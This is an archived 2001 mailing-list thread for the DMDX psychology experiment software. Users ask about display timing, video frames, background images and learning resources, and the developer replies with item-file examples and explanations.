Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:57 AM 7/23/01 +1000, you wrote: >Dear All, >I'm still having problems with the timeout function and can't work out why. ... >+01 ~V ""ready"" / ""+12babble_3m.wav""/* > ""A_fu1a.mov"" / ! ""1. ? 2. ? >3. ? 4. ? 5. ? 6. ?""; Ooo, just had an idea. You're using a regular clockon in a digital video frame, something that while possibly correct I don't think has been done before. There's a special : http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdvclockonkeyword.htm Looks like the docs here are borked but the explanation is good: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvideo.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 09:51:56 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18581 for ; Mon, 23 Jul 2001 09:50:29 -0700 Received: (qmail 7322 invoked from network); 23 Jul 2001 16:50:23 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 23 Jul 2001 16:50:23 -0000 Message-Id: <5.1.0.14.2.20010723094327.009fb050@psy1.psych.arizona.edu> Date: Mon, 23 Jul 2001 09:51:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Continous background display In-Reply-To: <004a01c11354$5ff16240$cf586f83@psychiatry.cam.ac.uk> References: <5.1.0.14.2.20010720090853.009f4490@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:49 AM 7/23/01 +0100, you wrote: >Thanks very much for the response to my question, but I'm afraid I didn't >give enough detail in my question to make it answerable! Could I try >again... > >My task involves a yes/no response on each presentation of an 8x8 square >grid with a >black square in one of the locations (stimulus duration = 1000ms); 2000ms >delay between each stimulus. The location of the black square changes on >each stimulus presentation. The way I have the file set up currently is as >follows: > >(on my machine, 1 tick = 17ms) >... ... > >-100 * ""grid1"" / <% 106> /; >-101 * ""grid2"" / <% 106> /; >+200 * ""grid3"" / <% 106> /; >etc... > >In this case, each of the 'grid' bmp files contain the 8x8 grid, and a black >square covering one of the locations on the grid (the location of the black >square is different in grid1, grid2, etc). The problem is that at the end of >each line, of course the grid, and the square, disappear during the delay >period, which is disorientating; so I only want the square to >disappear for the specified delay period, whilst a blank grid remains >throughout. Is it possible to code a blank grid as a separate .bmp file , >which is either set as a background in some way, or is repeated on each line >when the square disappears, to give the impression of a continuous grid >background? And you still want feedback? If you used then your item structure would be: -100 * ""grid1"" / <% 106> / ""blankgrid""; If you want feedback then you'll have to code your own feedback routine that leaves a grid up in the same fashion, see: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm Your itemfile would be something closer to: 0 ""Custom Feedback Example"" ; 10 d0 c; 0 d20 ""correct"", ""blankgrid"" ; 20 d0 c; 0 d20 ""wrong"", ""blankgrid"" ; 30 d20 ""noresponse"", ""blankgrid"" ; -100 * ""grid1"" / <% 106> / c; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 09:54:10 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18628 for ; Mon, 23 Jul 2001 09:52:40 -0700 Received: (qmail 8748 invoked from network); 23 Jul 2001 16:52:37 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 23 Jul 2001 16:52:37 -0000 Message-Id: <5.1.0.14.2.20010723095154.009f94c0@psy1.psych.arizona.edu> Date: Mon, 23 Jul 2001 09:53:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: jpeg format images In-Reply-To: <00e401c1136f$00830a50$cf586f83@psychiatry.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:00 PM 7/23/01 +0100, you wrote: >I understand that DMDX can now handle .jpg format, but I'm having a few >problems in getting my files to be recognised. I'm using version 1.3.01, >and I'm calling the images as follows: > -100 * ""image1"" / ""image2"" <%97> ; > >DMDX reports the error: > Unknown keyword Job Aborted. > >The code runs fine when substituting .jpg for .bmp files, and both sets of >files are located in the same directory. Do I need to put something in the >parameter line for the files to be recognised? > Obviously 1.3.01 doesn't have .JPG support. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 24 03:35:35 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA20813 for ; Tue, 24 Jul 2001 03:33:44 -0700 Received: from pc114 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Tue, 24 Jul 2001 11:33:43 +0100 (BST) From: ""Andy"" To: ""DMDX"" Subject: [DMDX] Unwanted video Date: Tue, 24 Jul 2001 11:33:33 +0100 Message-ID: <000301c1142c$16f11760$92fd3fc1@mrccbu.cam.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi all. Im having problems with a video expt. I want a video to be shown, followed by a bmp picture. The video's last frame generally disappears after it has played, but sometimes it does not! Does anyone know how to make it disappear every single time? A snippet of my code is given below: zk> < mpr ""+2""> < mpr ""+3""> < mpr ""+4""> < mpr ""+5""> < mpr ""+6""> < mpr ""+7""> $ 0 ""instruct1""; 0 ""instruct2""; $ +1 ""Ready?"" / / * ""cf200.avi"" /! ""blank.bmp"" /! / ""Pleasant""; +2 ""Ready?"" / / * ""cf240.avi"" /! ""blank.bmp"" /! / ""Pleasant""; Cheers for any help, Andy. >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 24 09:29:04 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA21893 for ; Tue, 24 Jul 2001 09:28:55 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B59885E000297FE for DMDX@psy1.psych.arizona.edu; Tue, 24 Jul 2001 09:28:53 -0700 Message-Id: <5.1.0.14.2.20010724091907.009e9a80@psy1.psych.arizona.edu> Date: Tue, 24 Jul 2001 09:28:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Unwanted video In-Reply-To: <000301c1142c$16f11760$92fd3fc1@mrccbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:33 AM 7/24/01 +0100, you wrote: >Hi all. > >Im having problems with a video expt. I want a video to be shown, followed >by a bmp picture. The video's last frame generally disappears after it has >played, but sometimes it does not! Does anyone know how to make it disappear >every single time? A snippet of my code is given below: > > zk> 640,480,480,16,0> ""+1""> ""+1""> < mpr ""+2""> < mpr ""+3""> < mpr ""+4""> < mpr ""+5""> < mpr ""+6""> < mpr >""+7""> >$ >0 ""instruct1""; >0 ""instruct2""; >$ >+1 ""Ready?"" / / * ""cf200.avi"" /! ""blank.bmp"" >/! / ""Pleasant""; >+2 ""Ready?"" / / * ""cf240.avi"" /! ""blank.bmp"" >/! / ""Pleasant""; Well if you want the video erased why are you specifying that the frames after the video aren't to be erasing what's on the screen? In any event, video is a different beast, it's not known about by the regular drawing routines so a non-erase symbol after video is a pretty much undefined action. Typically I would not be trying to display something immediately after a digital video frame, it's difficult to tell exactly when the last frame of the video is displayed (and it's displayed by a completely different set of routines than the normal DMDX display routines) and so having DMDX toss a regular frame up right after it is problematical. I would suggest something like the following: +1 ""Ready?"" / / * ""cf200.avi"" / %5 /! ""blank.bmp"" /! / ""Pleasant""; To be on the ultra safe side I'd split them into to items: +1 ""Ready?"" / / * ""cf200.avi"" ; +11 d5 ""blank.bmp"" /! / ""Pleasant""; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 26 14:50:38 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA28536 for ; Thu, 26 Jul 2001 14:50:06 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D0001AFE6 for DMDX@psy1.psych.arizona.edu; Thu, 26 Jul 2001 14:50:05 -0700 Message-ID: <3B5F1B9F0000124F@deimos.email.Arizona.EDU> Date: Thu, 26 Jul 2001 14:50:05 -0700 From: ""Keolani Taitano"" Subject: [DMDX] randomly appearing extra tic To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm presenting 4 bitmap files in succession in each item line with each delimited by forward slashes, so the number of tics that each is displayed for *should* be limited to what is specified for each frame. In looking at the successive clock-on times for each trial, I'm getting an extra tic (16.67 ms) every few trials that is not accounted for by the script. Where is this extra tic likely to be coming in between COTs? Can I be sure it's not coming from the duration for one of my bitmap files? The study is designed to measure the effect of showing the target stimulus at 4 durations of either 1, 2, 4 or 8 tics, so we have to be sure the bitmap is on the screen for these specified times. Thanks for your help. Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 26 15:39:55 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA28694 for ; Thu, 26 Jul 2001 15:39:48 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D0001C4E4 for DMDX@psy1.psych.arizona.edu; Thu, 26 Jul 2001 15:39:47 -0700 Message-Id: <5.1.0.14.2.20010726153725.00a1db00@psy1.psych.arizona.edu> Date: Thu, 26 Jul 2001 15:39:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: randomly appearing extra tic In-Reply-To: <3B5F1B9F0000124F@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:50 PM 7/26/01 -0700, you wrote: >I'm presenting 4 bitmap files in succession in each item line with each >delimited by forward slashes, so the number of tics that each is displayed >for *should* be limited to what is specified for each frame. In looking >at the successive clock-on times for each trial, I'm getting an extra tic >(16.67 ms) every few trials that is not accounted for by the script. > >Where is this extra tic likely to be coming in between COTs? > >Can I be sure it's not coming from the duration for one of my bitmap files? > >The study is designed to measure the effect of showing the target stimulus >at 4 durations of either 1, 2, 4 or 8 tics, so we have to be sure the bitmap >is on the screen for these specified times. Have you looked that the diagnostics to see if there are any display errors? Unfortunately DMDX was designed long before fMRI was available here and people wanted rigidly controlled total item file durations and so when it detects that a display error has occurred it reschedules everything yet to be displayed forward in time by however much the error was for. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 27 01:00:16 2001 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA29727 for ; Fri, 27 Jul 2001 00:59:59 -0700 Received: from pc172-78.psych.unimelb.edu.au (pc172-78.psych.unimelb.edu.au [128.250.172.78]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id RAA32613 for ; Fri, 27 Jul 2001 17:59:26 +1000 Message-Id: <5.1.0.14.2.20010727174715.044f0770@post.psych.unimelb.edu.au> Date: Fri, 27 Jul 2001 17:59:20 +1000 To: DMDX@psy1.psych.arizona.edu From: Peter Straffon Subject: [DMDX] Sound and text at different rates Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi DMDX users, I have a trial I have setup that uses text and sound. Currently the sound is synced to the text but we would like to change that so that the sound and text each appear at different (variable) rates. I currently can do this by changing the offset for each WAV file with respect to the text so that the sound is at its rate and the text is at a different rate but its all manual. As an example we would like the text blocks to appear at 4 second intervals but the sounds to start at 3.5 second intervals. It was easy enough to do but as we now want to explore changing the sound and text rates I have to recode a lot of item files or find a way of specifying the sound rate separately from the text rate. I am not looking forward to coding 15*15 item files that are exactly the same except for the frame duration and offsets of the sounds. Suggestions and advice would be appreciated. PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 27 09:51:39 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30820 for ; Fri, 27 Jul 2001 09:51:17 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B5F19E50002BF0A for DMDX@psy1.psych.arizona.edu; Fri, 27 Jul 2001 09:51:15 -0700 Message-Id: <5.1.0.14.2.20010727094739.009fa4c0@psy1.psych.arizona.edu> Date: Fri, 27 Jul 2001 09:52:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Sound and text at different rates In-Reply-To: <5.1.0.14.2.20010727174715.044f0770@post.psych.unimelb.edu. au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:59 PM 7/27/01 +1000, you wrote: >Hi DMDX users, > I have a trial I have setup that uses text and sound. Currently > the sound is synced to the text but we would like to change that so that > the sound and text each appear at different (variable) rates. > >I currently can do this by changing the offset for each WAV file with >respect to the text so that the sound is at its rate and the text is at a >different rate but its all manual. As an example we would like the text >blocks to appear at 4 second intervals but the sounds to start at 3.5 >second intervals. It was easy enough to do but as we now want to explore >changing the sound and text rates I have to recode a lot of item files or >find a way of specifying the sound rate separately from the text rate. > >I am not looking forward to coding 15*15 item files that are exactly the >same except for the frame duration and offsets of the sounds. > >Suggestions and advice would be appreciated. You have a number of choices, however both will still require edits of any given item file, however such edits will be limited to the first couple of lines. You can either use macros that expand to the various frame durations or you can use counters and the keyword. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 27 11:18:34 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA31104 for ; Fri, 27 Jul 2001 11:18:25 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D0002E24E for DMDX@psy1.psych.arizona.edu; Fri, 27 Jul 2001 11:18:24 -0700 Message-ID: <3B5F1B9F00001BFF@deimos.email.Arizona.EDU> Date: Fri, 27 Jul 2001 11:18:23 -0700 In-Reply-To: <5.1.0.14.2.20010726153725.00a1db00@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: Re: randomly appearing extra tic To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Whether an entire item line or even a frame is delayed seems to be a separate issue from what I'm trying to determine. What I'd like to know for now is if the duration of a bitmap file within a single frame delimited by forward slashes and given a specific number of tics to be displayed is still being shown on the screen for that specified number of tics, or whether that display time could be an extra tic in length when it shouldn't be. Thanks, Keo -- Original Message -- >At 02:50 PM 7/26/01 -0700, you wrote: >>I'm presenting 4 bitmap files in succession in each item line with each >>delimited by forward slashes, so the number of tics that each is displayed >>for *should* be limited to what is specified for each frame. In looking >>at the successive clock-on times for each trial, I'm getting an extra tic >>(16.67 ms) every few trials that is not accounted for by the script. >> >>Where is this extra tic likely to be coming in between COTs? >> >>Can I be sure it's not coming from the duration for one of my bitmap files? >> >>The study is designed to measure the effect of showing the target stimulus >>at 4 durations of either 1, 2, 4 or 8 tics, so we have to be sure the bitmap >>is on the screen for these specified times. > > Have you looked that the diagnostics to see if there are any display > >errors? Unfortunately DMDX was designed long before fMRI was available > >here and people wanted rigidly controlled total item file durations and >so >when it detects that a display error has occurred it reschedules everything > >yet to be displayed forward in time by however much the error was for. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Democracy is a government where you can say what you think even if you >don't think. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 27 11:48:30 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA31221 for ; Fri, 27 Jul 2001 11:48:23 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B5F19E50002F0AA for DMDX@psy1.psych.arizona.edu; Fri, 27 Jul 2001 11:48:21 -0700 Message-Id: <5.1.0.14.2.20010727112558.009ed790@psy1.psych.arizona.edu> Date: Fri, 27 Jul 2001 11:48:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: randomly appearing extra tic In-Reply-To: <3B5F1B9F00001BFF@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20010726153725.00a1db00@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:18 AM 7/27/01 -0700, you wrote: >Whether an entire item line or even a frame is delayed seems to be a separate >issue from what I'm trying to determine. What I'd like to know for now is >if the duration of a bitmap file within a single frame delimited by forward >slashes and given a specific number of tics to be displayed is still being >shown on the screen for that specified number of tics, or whether that display >time could be an extra tic in length when it shouldn't be. Unless an error is logged no, the duration of a frame regardless of whether it's text or a bitmap is what it is specified to be. What would be the point of the program otherwise? The only extra tic that exists is when rigid ISI control is turned on with the D parameter and the subject is not determining the length of the item with his/her response. That tic exists as DMDX looks in the display queue after the last frame has been displayed and finds no more frames to display and thus that time is used as the end of the item and the next item's frames are scheduled from that time. But that tic should be present in every single item, any fluctuation you are getting between items must either be attributable to a display error caused by either having poor video timing parameters or a poor video card (in which case you would see them in the log file diagnostics.txt) or attributable to some item file design issue. Item file design issues include using things like the duration of a wave file to determine a frame's duration, but even then the error should be constant across runs of DMDX. The most obvious cause of random variations in an otherwise rigidly controlled item file is to have the subject reaction time out set longer than the display duration of an item, in that fashion as long as the subject is responding within the duration of the display the timing will be as you expect. If however a subject doesn't respond or responds within the timeout but that timeout is much longer than the display's duration then you will get random fluctuations in total item file duration. And then of course there is the X factor, you've discovered some new combination of things that breaks DMDX's timing, but that's not likely. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 30 10:26:24 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA06009 for ; Mon, 30 Jul 2001 10:24:22 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f6UHOLp15063 for ; Mon, 30 Jul 2001 19:24:21 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] How to learn DMDX ? Date: Mon, 30 Jul 2001 19:24:07 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0006_01C1192D.339574A0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C1192D.339574A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit My experience with DMDX is measured in tens of minutes and is limited to running TimeDX and the demos. I need to set up experiments involving the measurement of reaction times to both visual and audio stimuli with audio warning tones preceeding some of the visual cue presentations (This is a covert orienting paradigm based on the work of Fernandez-Duque, D. and M.I. Posner, Relating the mechanisms of orienting and alerting. Neuropsychologia, 1997. 35(4): p. 477-86). An example of one event could be written in meta code this way: type==1 /* trial type #1, visual stimulus only */ present fixation point /* white a small white cross at the center of the screen */ present visual stimulus at location X,Y /* write a small white circle at location X,Y*/ wait either 150 or 450 msec present target at Xt,Yt /* present a target next to the cue or at some other location */ wait up to 1500 msec for response /* time the interval between the target presentation and button press */ if no response (response_time == -1) write response time and type to datafile clear the screen or black out cue and target /* don't want any flashes in fixation point as new screen redraws */ wait ISI /* Inter Stimulus Interval random time between 0.5 and 1.5 seconds */ Actually, I want to also send 'flags' to a digital output port or LPT port for synchronization with a physiological recording (think: event related potentials) . /* QUESTION BEGINS HERE! */ So, I ask, how am I going to best learn coding in DMDX? Is the DMASTR manual the most coherent reference source for programming DMDX or is there a logical outline to follow in the DMDX online help pages that I have not seen? Can anyone suggest a DMDX script which contains elements of the task I am undertaking? Thank you ever so much! Derek Eder Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0006_01C1192D.339574A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable My=20 experience with DMDX is measured in tens of minutes and is limited = to=20 running TimeDX and the demos.   I need = to set up=20 experiments involving the measurement of reaction times to both visual = and audio=20 stimuli with audio warning tones preceeding some of the visual cue=20 presentations  (This is a covert orienting paradigm based on the = work of=20 Fernandez-Duque, D. and M.I. Posner, Relating the mechanisms = of orienting=20 and alerting. Neuropsychologia, 1997. 35(4): p.=20 477-86).   An = example of one=20 event could be written in meta code this way: type=3D=3D1      = ;            =             &= nbsp;           &n= bsp;           &nb= sp;=20 /* trial type #1, visual stimulus only */ present fixation=20 = point           &n= bsp;           &nb= sp;           &nbs= p;/* =20 white a small white cross at the center of the screen =20 */ present visual stimulus  at = location=20 X,Y            = /* =20 write a small white circle at location X,Y*/ wait either 150 or 450 = msec present target at=20 = Xt,Yt           &n= bsp;           &nb= sp;         =20 /* present a target next to the cue or at some other location=20 */ wait up to 1500 msec for=20 = response           = ;     =20 /* time the interval between the target presentation and button = press=20 */        if no = response=20 (response_time =3D=3D -1) write response time and type to datafile=20 clear the screen or black out cue and=20 target     /* don't want any flashes in fixation = point as=20 new screen redraws */ wait=20 = ISI           &nbs= p;            = ;            =             &= nbsp;          /* = =20 Inter Stimulus Interval random time between 0.5 and 1.5 seconds=20 */ Actually, I want=20 to also send 'flags' to a digital output port or LPT port for = synchronization=20 with a physiological recording (think: event related potentials)=20 .   /* = QUESTION BEGINS=20 HERE! */   So, I = ask, how am=20 I going to best learn coding in DMDX?  Is the DMASTR manual the = most=20 coherent reference source for programming DMDX or is there a = logical=20 outline to follow in the DMDX online help pages that I have not=20 seen?    Can = anyone suggest=20 a DMDX script which contains elements of the task I am=20 undertaking?   Thank = you ever so=20 much!      Derek=20 Eder     Derek N.=20 EderG=F6teborgs UniversitetInstitutionen f=F6r klinisk = neurovetenskap -=20 psykiatriSahlgrenska universitetssjukhuset SS/SUBl=E5 straket = 17bSE=20 413 45  G=F6teborgSverigeTlf. +46 (031) 34 26 = 139Fax. +46=20 (031) 34 21 533 derek.eder@neuro.gu.seGothenburg UniversityInstitute of Clinical=20 Neuroscience,Section for PsychiatrySalhgrenska Hospital =20 SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0006_01C1192D.339574A0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 30 19:09:49 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA06982 for ; Mon, 30 Jul 2001 19:09:10 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B5F19E50005EA40 for DMDX@psy1.psych.arizona.edu; Mon, 30 Jul 2001 19:09:09 -0700 Message-Id: <5.1.0.14.2.20010730185938.009ef920@psy1.psych.arizona.edu> Date: Mon, 30 Jul 2001 19:10:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: How to learn DMDX ? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:24 PM 7/30/01 +0200, you wrote: >So, I ask, how am I going to best learn coding in DMDX? Is the DMASTR >manual the most coherent reference source for programming DMDX or is there >a logical outline to follow in the DMDX online help pages that I have not >seen? Try the user written help pages from the DMDX updates page: http://www.u.arizona.edu/~jforster/dmdx.htm Problems using DMDX? ... There are several tutorials available: Mike Fords DMDX Tutorial. Matt Davis's DMDX Tutorial. Ken's DM/DMTG Tutorial. Anna Woollams's DM Tutorial. >Can anyone suggest a DMDX script which contains elements of the task I am >undertaking? After you've read the tutorials, yes, everything you want is perfectly possible including outputting codes to other machines although making the wrong RT -1 is a little advanced, by default you get -timelimit for wrong responses. But you have to come up with the first approximation. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 31 14:29:10 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA09115 for ; Tue, 31 Jul 2001 14:28:53 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B5F1B9D00072F7B for DMDX@psy1.psych.arizona.edu; Tue, 31 Jul 2001 14:28:52 -0700 Message-Id: <5.1.0.14.2.20010731142721.009e33a0@psy1.psych.arizona.edu> Date: Tue, 31 Jul 2001 14:28:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.4.09 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've added a new keyword in 2.4.09: Media Life Keyword Switch to override the default time that DMDX buffers media. N is the number of items to keep this media in memory for. By default if a piece of media (, , , , or ) is not used again in the next item DMDX releases the resources used to load that piece of media (an N of 1), if an item file however repeatedly uses that media but with intervening items this keyword can be used to extend the time before DMDX releases those resources. Originally this was not included because I figured that the disk cache that win32 automatically maintains would keep load times trivial, however if an item file requires a really demanding parameter can lower the minimum delay that might otherwise be possible. Using this keyword will lower Preparation A times after the media has been used once, it will not 